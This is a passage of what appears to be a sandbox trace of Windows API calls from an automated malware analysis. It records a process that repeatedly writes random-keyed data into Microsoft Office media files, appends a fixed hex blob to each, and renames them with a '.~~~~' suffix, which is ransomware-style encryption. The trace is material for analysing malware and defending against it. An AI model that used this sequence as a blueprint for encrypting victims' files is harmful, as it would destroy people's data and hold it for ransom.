	[0124.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.031] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.031] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.032] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.032] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.032] CloseHandle (hObject=0x128) returned 1
	[0124.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdf58
	[0124.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.~~~~")) returned 1
	[0124.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bdf58 | out: hHeap=0x300000) returned 1
	[0124.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.033] GetLastError () returned 0x0
	[0124.034] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.035] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.035] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.035] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24402527555) returned 1
	[0124.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb366d930, dwHighDateTime=0x1d60e1e)) 
	[0124.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820168
	[0124.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820168 | out: hHeap=0x300000) returned 1
	[0124.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be250
	[0124.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.036] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.036] GetLastError () returned 0x0
	[0124.036] GetLastError () returned 0x0
	[0124.037] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.037] GetLastError () returned 0x0
	[0124.037] GetLastError () returned 0x0
	[0124.039] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff486, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.039] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xb7a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0xb7a, lpOverlapped=0x0) returned 1
	[0124.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.041] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.041] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.041] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.041] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.041] CloseHandle (hObject=0x128) returned 1
	[0124.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be250
	[0124.042] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.~~~~")) returned 1
	[0124.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be250 | out: hHeap=0x300000) returned 1
	[0124.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.043] GetLastError () returned 0x0
	[0124.043] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.045] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.045] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.045] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24403536732) returned 1
	[0124.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3693a90, dwHighDateTime=0x1d60e1e)) 
	[0124.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28201a0
	[0124.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28201a0 | out: hHeap=0x300000) returned 1
	[0124.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be380
	[0124.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.046] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.046] GetLastError () returned 0x0
	[0124.047] GetLastError () returned 0x0
	[0124.047] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.047] GetLastError () returned 0x0
	[0124.047] GetLastError () returned 0x0
	[0124.049] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdbdc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.049] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2424, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2424, lpOverlapped=0x0) returned 1
	[0124.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.051] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.051] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.052] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.052] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.052] CloseHandle (hObject=0x128) returned 1
	[0124.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be380
	[0124.052] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.~~~~")) returned 1
	[0124.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be380 | out: hHeap=0x300000) returned 1
	[0124.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.054] GetLastError () returned 0x0
	[0124.055] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.056] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.056] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.056] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24404630653) returned 1
	[0124.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3693a90, dwHighDateTime=0x1d60e1e)) 
	[0124.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28201d8
	[0124.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28201d8 | out: hHeap=0x300000) returned 1
	[0124.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be418
	[0124.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.057] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.057] GetLastError () returned 0x0
	[0124.057] GetLastError () returned 0x0
	[0124.058] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.058] GetLastError () returned 0x0
	[0124.058] GetLastError () returned 0x0
	[0124.154] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9746, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.154] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x68ba, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x68ba, lpOverlapped=0x0) returned 1
	[0124.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.157] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.157] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.157] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.158] CloseHandle (hObject=0x128) returned 1
	[0124.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be8d8
	[0124.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.~~~~")) returned 1
	[0124.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be8d8 | out: hHeap=0x300000) returned 1
	[0124.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.233] GetLastError () returned 0x0
	[0124.234] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.235] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.235] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.235] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24422504308) returned 1
	[0124.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb385cb10, dwHighDateTime=0x1d60e1e)) 
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28204e8
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28204e8 | out: hHeap=0x300000) returned 1
	[0124.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be4b0
	[0124.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.236] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.236] GetLastError () returned 0x0
	[0124.236] GetLastError () returned 0x0
	[0124.236] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.236] GetLastError () returned 0x0
	[0124.236] GetLastError () returned 0x0
	[0124.240] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffcf26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.241] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x30da, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x30da, lpOverlapped=0x0) returned 1
	[0124.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.243] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.243] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.243] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.243] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.243] CloseHandle (hObject=0x128) returned 1
	[0124.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd4a8
	[0124.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.~~~~")) returned 1
	[0124.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd4a8 | out: hHeap=0x300000) returned 1
	[0124.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.245] GetLastError () returned 0x0
	[0124.246] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.247] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.247] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.247] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24423747671) returned 1
	[0124.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3882c70, dwHighDateTime=0x1d60e1e)) 
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820520
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820520 | out: hHeap=0x300000) returned 1
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bed00
	[0124.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.248] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.248] GetLastError () returned 0x0
	[0124.249] GetLastError () returned 0x0
	[0124.249] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.249] GetLastError () returned 0x0
	[0124.249] GetLastError () returned 0x0
	[0124.252] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff8810, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
